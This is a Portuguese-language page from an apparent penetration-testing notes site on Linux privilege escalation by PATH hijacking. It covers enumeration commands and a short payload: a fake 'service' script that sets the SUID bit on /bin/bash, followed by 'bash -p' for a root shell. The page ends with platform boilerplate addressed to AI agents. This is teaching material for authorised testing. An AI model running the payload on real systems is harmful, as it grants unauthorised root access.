> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/path-hijacking.md).

# Hijacking de PATH

O sequestro de PATH abusa de programas ou scripts privilegiados que chamam comandos sem caminhos absolutos. Se o invasor controla um diretório anterior em `PATH`, o processo privilegiado pode executar o binário do invasor.

## Metodologia

* Identifique scripts ou binários privilegiados que chamam ferramentas pelo nome em vez do caminho completo.
* Confirme o ambiente de execução e os diretórios graváveis em `PATH`.
* Coloque um executável controlado com o nome esperado e acione o fluxo de trabalho privilegiado.

## Verificações rápidas

```bash
echo $PATH
strings <binary> | head
ltrace <binary> 2>/dev/null
```

Procure especificamente por programas privilegiados que chamam outros comandos sem caminhos absolutos:

```bash
strings /path/to/suid_binary
ltrace /path/to/suid_binary
```

Verifique se algum diretório atual `PATH` é gravável:

```bash
for d in $(echo "$PATH" | tr ":" "\n"); do
    find "$d" -writable -type d 2>/dev/null
    find "$d" -writable -type f 2>/dev/null
done
```

## Padrão mínimo de payload

Se um script privilegiado chamar um comando por nome relativo, crie um executável com o mesmo nome em um diretório gravável e coloque esse diretório no início de `PATH`.

```bash
cd /tmp
cat > service <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x service
export PATH=/tmp:$PATH
```

Acione o script vulnerável ou aguarde a execução do fluxo de trabalho privilegiado e, em seguida, valide:

```bash
/path/to/suid_binary
ls -l /bin/bash
/bin/bash -p
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>Sequestro de PATH test.c</h4></td><td>Notas sobre sequestro de PATH (test.c) para escalonamento de privilégios no Linux, com etapas de enumeração, exemplos de exploração e validação voltada a relatórios.</td><td><a href="/pages/c7e719d3f1d73d09acd62989b40eff9bf3646f38">/pages/c7e719d3f1d73d09acd62989b40eff9bf3646f38</a></td></tr><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>Sequestro de PATH com tar</h4></td><td>Notas sobre sequestro de PATH (tar) para escalonamento de privilégios no Linux, com etapas de enumeração, exemplos de exploração e validação voltada a relatórios.</td><td><a href="/pages/4fddd121ade5f332dcd727f4f999d08e56e6c365">/pages/4fddd121ade5f332dcd727f4f999d08e56e6c365</a></td></tr><tr><td><h3><i class="fa-route" style="color:$primary;">:route:</i></h3></td><td><h4>Sequestro de PATH com gzip</h4></td><td>Notas sobre sequestro de PATH (gzip) para escalonamento de privilégios no Linux, com etapas de enumeração, exemplos de exploração e validação voltada a relatórios.</td><td><a href="/pages/695b4f128161e4f49000252d745cb44e7202886b">/pages/695b4f128161e4f49000252d745cb44e7202886b</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/path-hijacking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
